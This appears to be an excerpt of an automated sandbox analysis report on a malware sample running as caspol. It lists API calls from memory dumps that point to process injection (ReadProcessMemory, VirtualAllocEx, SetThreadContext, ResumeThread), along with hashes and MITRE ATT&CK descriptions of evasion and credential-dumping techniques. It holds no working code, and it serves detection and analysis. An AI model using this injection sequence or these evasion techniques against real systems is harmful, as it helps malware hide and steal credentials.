Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0037E14A

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f770f2b7ca2bc3529e1d6e1dedd8928cf06dc418e857256e7e7fe1fd56fe8f53
Instruction ID: 4df0fda947ae09c64e6dbef7794f83acff34be1c165b42dfd35fecd5a4053d59
Opcode Fuzzy Hash: f770f2b7ca2bc3529e1d6e1dedd8928cf06dc418e857256e7e7fe1fd56fe8f53
Instruction Fuzzy Hash: DB41CBB8D042589FCF10CFA9D984AEEFBB1BF49310F24906AE815B7210C378A945CF64

Function 0037E098 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0037E14A

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 94d462935bd0d36c6a6f9ddbf07140bf3782914eea61e311cf4c99dea2fb4834
Instruction ID: 9ea3bd2ed21f33ee96cb3b05477d900e260afcf67cc6dfaeb926d9cd1a563e7e
Opcode Fuzzy Hash: 94d462935bd0d36c6a6f9ddbf07140bf3782914eea61e311cf4c99dea2fb4834
Instruction Fuzzy Hash: 4041AAB9D002589FCF10CFA9D984AEEFBB1BF49314F14942AE815B7210D735A945CF64

Function 0037DE0C Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0037DEBA

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1590a7e1511dd2f78fbb1e38cd364384efc9a248a2a400a967009652c6078f8e
Instruction ID: b540b688a65872850037fbd7cfe2a611ce13a07a4b1c217b3e4aee326c3a91a9
Opcode Fuzzy Hash: 1590a7e1511dd2f78fbb1e38cd364384efc9a248a2a400a967009652c6078f8e
Instruction Fuzzy Hash: CB41A8B8D002589FCF10CFA9D984AEEFBB1AF49314F20942AE815BB214D735A945CF64

Function 0037DE10 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0037DEBA

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5c5d0958e7d76efb7bd86933dc7ff8780a9ae96ec6b28c82210f24c1efa4febf
Instruction ID: 9209c07ca428be955e63aa14cd751960206533992f53dd17643b16306aefb7c5
Opcode Fuzzy Hash: 5c5d0958e7d76efb7bd86933dc7ff8780a9ae96ec6b28c82210f24c1efa4febf
Instruction Fuzzy Hash: D9419AB8D002589BCF10CFA9D984AAEFBB1BF49314F10941AE815B7314D735A945CF55

Function 0037D8A1 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0037D957

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 79d6a39056b48f81709e3d64a4473c82211d5ced38894f7bb8e99b0e624375b9
Instruction ID: 5d906e84a0e7ecd135592424afc6833f41fe14ebaad99b87d4bda6f8a6a5f8e9
Opcode Fuzzy Hash: 79d6a39056b48f81709e3d64a4473c82211d5ced38894f7bb8e99b0e624375b9
Instruction Fuzzy Hash: FE41CEB5D002589FCB10CFA9D884AEEFBF1AF49314F24802AE419B7244C3389A49CF54

Function 0037D8A8 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0037D957

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2fcc243a0e91ad37bd9f822c439b2d34d4e3f60e4f0930e287f5d769af200f5f
Instruction ID: f11879d5d32c26567ebbb2f74bf84ad4a928d2048f5f7aa309b4d244462efc2a
Opcode Fuzzy Hash: 2fcc243a0e91ad37bd9f822c439b2d34d4e3f60e4f0930e287f5d769af200f5f
Instruction Fuzzy Hash: 6B41ACB5D002589FCB10CFA9D884AEEFBF1AF49314F24802AE519B7244D738A949CF54

Function 0037D7B1 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0037D836

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d5fde5beef2a19a51853e09d52f7d4bbba66cfab1547e7458b97379b83dd725c
Instruction ID: 2aefdafe1464fc7c3ac7f1c905be2822a0d580f1e2331c8fbd51e504c95a155c
Opcode Fuzzy Hash: d5fde5beef2a19a51853e09d52f7d4bbba66cfab1547e7458b97379b83dd725c
Instruction Fuzzy Hash: 2F31ABB5D002189FCF14CFA9D984AAEFBB5AF49314F14942AE819B7200D735A906CF95

Function 0037D7B8 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0037D836

Memory Dump Source

Source File: 00000025.00000002.532321381.0000000000370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_370000_caspol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 162064fa0f39eb9157af18e3c49150fac239011b8debb00f1fbbe1007ff6078b
Instruction ID: 4d2e6fb46f868c0ce35390af247ff8222bd956adae101cb7956631598e8ef24b
Opcode Fuzzy Hash: 162064fa0f39eb9157af18e3c49150fac239011b8debb00f1fbbe1007ff6078b
Instruction Fuzzy Hash: 2531BAB4D00218AFCF14CFA9D984AAEFBB5AF49314F24942AE819B7300C735A905CF95

Function 00730D3C Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

gN, xrefs: 00730D6E

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID: gN
API String ID: 0-1609106795
Opcode ID: 32bb58f9918f9f605a1a560908d653be6c3b9e4181263fb3112e58e5268b6904
Instruction ID: ed4783089930a8b813d198629a4970b4ce2cc10b10cec491da38bbcbfd1e4aca
Opcode Fuzzy Hash: 32bb58f9918f9f605a1a560908d653be6c3b9e4181263fb3112e58e5268b6904
Instruction Fuzzy Hash: 3C412C75E45219CFDB64CF64CC807E8B7B5BF99300F2096EAD509A6241EB745AC4DF80

Function 00730F33 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

(, xrefs: 00731808

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 92fb8925b0ca80c0978b1c8855d66d0af7dcd80e55fb44d8b4689133f552d24a
Instruction ID: 31afa69201363345764b3814cbdbd22005bc8c9dde5a00b5220dc965c65f08c3
Opcode Fuzzy Hash: 92fb8925b0ca80c0978b1c8855d66d0af7dcd80e55fb44d8b4689133f552d24a
Instruction Fuzzy Hash: BA01EF3590A228CFEB60CF64C884FE8BBB5AB09304F949199D40DA3252C7359E86CF00

Function 00730E9A Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d2f0de1779060e6059cb6eaa5bdae13aadf84809e124661b26585c886f400d
Instruction ID: c13f8f1918b7f890bff774da892e9b2f6c88c12ec71d60ce510fd44284538393
Opcode Fuzzy Hash: a7d2f0de1779060e6059cb6eaa5bdae13aadf84809e124661b26585c886f400d
Instruction Fuzzy Hash: 49413E74909218CFEB64CF54C954BE8B7B9FB4A311F5490EA840EA3292C7399EC5DF00

Function 0017D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532221927.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_17d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb76c4d60702b41a609ea54fc4035f76556518fbf36b79c98eb8887dfabdd98
Instruction ID: 46e9946be57261d5209dbc6b84a9c910d9bf55ea884654932b9c3cc7d8bb4c1b
Opcode Fuzzy Hash: beb76c4d60702b41a609ea54fc4035f76556518fbf36b79c98eb8887dfabdd98
Instruction Fuzzy Hash: 3521B0B5604248AFDB15DF14E9C0B26BBB5EF84314F24C5A9E8494B256C336D847CB61

Function 0017D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532221927.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_17d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659ad353138d2fc52e4a4cdc4f3cdf7cedde829496efcee78784a3866059a938
Instruction ID: d164b459a808e4dc30d8f9d11a3c02c5438a412f86134e511d9242d1057f6da0
Opcode Fuzzy Hash: 659ad353138d2fc52e4a4cdc4f3cdf7cedde829496efcee78784a3866059a938
Instruction Fuzzy Hash: B321D075604248EFDB15CF14E884B26BB71EF84314F34C5A9E84D4B246C336D847CBA1

Function 00730EBE Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda0344fd149f7bbb8440f82a63d505c30f548456d80cafa9b86c1929f1697e1
Instruction ID: 468777e6324c63455aafd155cbf03590b423cf98bc2ce6791c608de7bd2e7096
Opcode Fuzzy Hash: cda0344fd149f7bbb8440f82a63d505c30f548456d80cafa9b86c1929f1697e1
Instruction Fuzzy Hash: BD21E374E49218CFDB60CF64D890BECBBB6BB49314F6091A9D40DA7256CB355E82DF40

Function 0017D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532221927.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_17d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 565f75d38e4f7350f063d62ce24505424e1b395d29b5c826c31e1f917094453a
Instruction ID: ce486fcf9abe6ec95ceb8dbf38f3db559b2253b8cea6385595494ee791a13ebc
Opcode Fuzzy Hash: 565f75d38e4f7350f063d62ce24505424e1b395d29b5c826c31e1f917094453a
Instruction Fuzzy Hash: 92218B755093848FDB12CF24D994B15BF71EF46314F28C5EAD8498F2A7C33A984ACB62

Function 00730CE4 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b7f4555b8ba8bebaa4cbd5e29d468732363d2457fbb1c238c7747f47daa957
Instruction ID: 61dc07d80988b0491f657400845364f2d63d4d49830321ed1cc3bb80fd52a1ec
Opcode Fuzzy Hash: 99b7f4555b8ba8bebaa4cbd5e29d468732363d2457fbb1c238c7747f47daa957
Instruction Fuzzy Hash: B2114C75A45218DFEB60CF54CD84BECB7B8AB19300F6490EAD54EA7282CBB45AC5CF40

Function 0017D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532221927.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_17d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 0041194c1817ab7fc62789af46a91491cb852afa837990730b6338af1206f0ea
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 3F117975944284DFDB12CF14D5C4B15BBB1FF84314F28C6A9D8494B656C33AD84ACBA2

Function 00730478 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58783f97257f94e337031d7707191c5982f4578f850bbc889443d73f46eebaa
Instruction ID: 9beaa8314d99558c961735a3ed7e4c27c4c710cf6bd6c80574af19cfc2a1c92d
Opcode Fuzzy Hash: e58783f97257f94e337031d7707191c5982f4578f850bbc889443d73f46eebaa
Instruction Fuzzy Hash: 4311F3B8D04249DFCB44DFA9D5956BEBBF5BB89300F2090AAC819A3346E7345B41CF90

Function 00730D14 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae1f512f55cdbfec2bc2c706d1ddb4c96b2da483c38be33de5559d42c4d3e4e
Instruction ID: 57d08ce45db6b6880cf21118371571b909eece099a0aab619c4501614df968e5
Opcode Fuzzy Hash: dae1f512f55cdbfec2bc2c706d1ddb4c96b2da483c38be33de5559d42c4d3e4e
Instruction Fuzzy Hash: 51112975A44218DFEB60CF54CC80BECB7B8AB19300F6490DAE54DA7282C7B49AC5CF50

Function 00731113 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a3dd009390f91568dfaf2f1bb8e4a8825313c1b95f5b0fefb6c2f155ccc3e7
Instruction ID: 6852a53db2bab5922f82051f2349b4e13054bfde4a024499911a52d21a5c79f4
Opcode Fuzzy Hash: c5a3dd009390f91568dfaf2f1bb8e4a8825313c1b95f5b0fefb6c2f155ccc3e7
Instruction Fuzzy Hash: 94112A74908218CFDB60DF64C895BECBBB4AB09311F1449D9D00DAB292C7388EC5CF40

Function 00730E47 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f5ff024b9827ff4311d741a9f22717ebb63b5ca48abceb0efb476e44169b9a
Instruction ID: 5e17fbaa6cf005ae49d16c3de7bfd3361183e8256ad92a449d280f941903f857
Opcode Fuzzy Hash: 51f5ff024b9827ff4311d741a9f22717ebb63b5ca48abceb0efb476e44169b9a
Instruction Fuzzy Hash: 7A014F75A44218DFEB60CF50CC81BECB7B8AB19300F2480D5E50DAB282C7745AC5CF40

Function 007313DB Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3484fefc7b24e21066ad395bbde3d041341eb80a607cfc7e1cd9fbbff9cf5f97
Instruction ID: caf46d6ec04e4613fccfe94200ac760dbc686aac671b0ca197808c73bdf378f4
Opcode Fuzzy Hash: 3484fefc7b24e21066ad395bbde3d041341eb80a607cfc7e1cd9fbbff9cf5f97
Instruction Fuzzy Hash: 61014C74E092548FDB51CF68CC94ADDBBB1FF49304F2440EAD909AB252C7325A41CF40

Function 00731204 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3f0594dba1a6cf1887991bef3e48e5dd83e5cba4d365cc0b6fcd7f3f04a7bd
Instruction ID: 6bfd1a7e5b62b61231cac142be51c74e192a260f6571f3f36835ae1fc6f490dc
Opcode Fuzzy Hash: 7e3f0594dba1a6cf1887991bef3e48e5dd83e5cba4d365cc0b6fcd7f3f04a7bd
Instruction Fuzzy Hash: D2013C35906228CFDF60CFA0CD40BEDBBB5EF49305F6850D9904DA7262C6359A86DF41

Function 00731B38 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd742d08b729647544b3a122298a2f5fa8a3419a04a7d459ea124ec6a1d93b2
Instruction ID: c6764420cfadcf417f6bdcb09e7532b164dc8685d9af06dfb9de2e4116191c9b
Opcode Fuzzy Hash: 8bd742d08b729647544b3a122298a2f5fa8a3419a04a7d459ea124ec6a1d93b2
Instruction Fuzzy Hash: 49F0A4B4E04209DFDB40DFB9D950AAEFBF5EB49300F5495AAC818E3351EB359A41DB80

Function 00731184 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f6490517a475f034281f8fbbe3ff57d1c292a409977e9a937d07f65061e8e62
Instruction ID: 450ef3ee57d4fc482fc2f34768d9c7d00f1147bcc39494ec92f4d273df523265
Opcode Fuzzy Hash: 5f6490517a475f034281f8fbbe3ff57d1c292a409977e9a937d07f65061e8e62
Instruction Fuzzy Hash: 5301A435918394CFDB20CB24C855AECBBB4BF06321F5882EA881E972E3D7348946CF40

Function 00730FC8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb748fbbc1fca1027396ef4c8a81d6723c3a31117a146bc36eb67b78de8c2a34
Instruction ID: 2fd3bb0d5c4dc6985eceff2444ff92832bfe52a8128d45fab30405632d5d9a89
Opcode Fuzzy Hash: cb748fbbc1fca1027396ef4c8a81d6723c3a31117a146bc36eb67b78de8c2a34
Instruction Fuzzy Hash: 82019D759402289FEBA0DF54C891BD8B7B4AB09311F5484D9D608A3241DB399B85DF90

Function 00730938 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.532817167.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_730000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca2f11839b2f9d069a67a8bff5599b6753d43291611d8702dbbd38c31a66416e
Instruction ID: 92347d98cee80eae4632660dd6737fc83f3ca77ce5c58ba6376ab3c20f7fbc7a
Opcode Fuzzy Hash: ca2f11839b2f9d069a67a8bff5599b6753d43291611d8702dbbd38c31a66416e
Instruction Fuzzy Hash: 3CF03070D0420CDFDB00DFA5E9947ADBBB8AB49301F1091A5C409A3253D7341A41DF88

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
